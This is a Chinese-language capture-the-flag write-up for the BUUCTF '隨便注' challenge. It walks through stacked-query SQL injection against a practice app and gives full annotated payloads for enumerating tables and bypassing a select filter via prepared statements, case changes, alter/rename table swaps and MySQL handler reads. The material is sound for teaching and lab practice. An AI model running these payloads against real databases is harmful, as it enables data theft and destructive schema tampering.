Web_BUUCTF_WriteUp | [強網杯 2019]隨便注

Guanz發表於2024-07-12

題目

分析

把 1 提交上去,得到回顯如下:


輸入框可輸入的內容不止數字,嘗試用 ' " ') ") 閉合,探測發現輸入 1' and 1=1;#1' and 1=2;# 的回顯不同,判斷為單引號閉合。

  • 1' and 1=1;#

  • 1' and 1=2;#

嘗試檢視當前所有資料庫 1';show databases;#


成功了,接著看看當前所有表 1';show tables;#

分別檢視兩個表的內容。

  • 1';show columns from `1919810931114514`;#

  • 1';show columns from words;#

在一串數字的表中出現可疑欄位 flag,同時 words 表中的內容包含 id 部分和 data 部分,大機率就是正常提交資料查詢到的結果。嘗試檢視欄位值 1';select * from `1919810931114514`;# 發現存在過濾:


嘗試一些常用繞過方法均失敗。從[BUUOJ記錄] [強網杯 2019]隨便注(三種方法)-Ye'sBlog-部落格園大佬的部落格學到三種繞過 select 的方法。


1、儲存過程繞過(利用 prepare 語句),即預編譯繞過
2、重新命名繞過(利用 alter 語句與 rename 語句)
3、handler 語句代替 select 查詢


1、預編譯繞過
傳入 1';set @a=concat('se','lect * from `1919810931114514`;');prepare flag from @a;execute flag;#,其中:

1';
// 用來閉合前面的單引號

set @a=concat('se','lect * from `1919810931114514`;');
// concat函式將多個字串組合成一個字串,得到select * from `1919810931114514`;
// @a定義了一個使用者變數a
// set函式讓a接收concat拼接的結果select * from `1919810931114514`;

prepare flag from @a;
// 將a的字串作為程式碼進行預編譯

execute flag;
// 執行之前預編譯的程式碼

#
// 將原始碼之後的部分註釋掉

得到回顯:


這裡出現的 strstr 函式在 PHP 中是個查詢子字串的函式,猜測這裡是在傳入的字串中找到 setprepare 倆串給咱返回了,即被過濾了。因為 strstr() 是區分大小寫的所以咱可以透過改變字母大小寫的方法繞過:


傳入 1';SET @a=concat('se','lect * from 1919810931114514;');PREPARE flag from @a;execute flag;# 得到 flag。

雖然但是測試了一下發現只需要更改兩串其一即可成功繞過。


2、重新命名繞過
傳入 1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#,其中

1';
// 用來閉合前面的單引號

alter table words rename to words1;
// alter 命令用於更改資料庫結構,rename將表words的名字更改為words1

alter table `1919810931114514` rename to words;
// 將表1919810931114514的名字更改為words

alter table words change flag id varchar(100);
// 將表words中的欄位名flag更改為id,資料型別為varchar(100)。varchar是可變長度字串,資料100來自於之前查詢到 flag 的長度

#
// 將原始碼之後的部分註釋掉

回顯:


此時輸入框傳入的引數由在 words 表中查詢 id 值更改為在 1919810931114514 表中查詢 flag 值。顯然我們不可能傳入 flag 進行查詢,因此傳入永真式 1' or 1=1#,得到回顯:


3、handler 語句代替 select 查詢
handler 是 MySQL 專用的語句,可代替 select 語句實現部分功能,具體可參考【MySQL】MySQL 之 handler 的詳細使用及說明-邊扯邊淡-CSDN


傳入 1';handler `1919810931114514` open as ye;handler ye read first;handler ye close;#,其中:

1';
// 用來閉合前面的單引號

handler `1919810931114514` open as ye;
// 開啟表1919810931114514的控制代碼並命名為ye

handler ye read first;
// 索引ye第一行資料

handler ye close;
//關閉控制代碼ye

得到 flag。

參考

史上超強最常用SQL語句大全-小小張自由—>張有博-CSDN
[BUUOJ記錄] [強網杯 2019]隨便注(三種方法)-Ye'sBlog-部落格園
PHP strstr() 函式
Mysql中符號@的作用-LC超人在良家-CSDN
Mysql修改、新增、刪除欄位-五公子說-部落格園
【MySQL】MySQL 之 handler 的詳細使用及說明-邊扯邊淡-CSDN

相關文章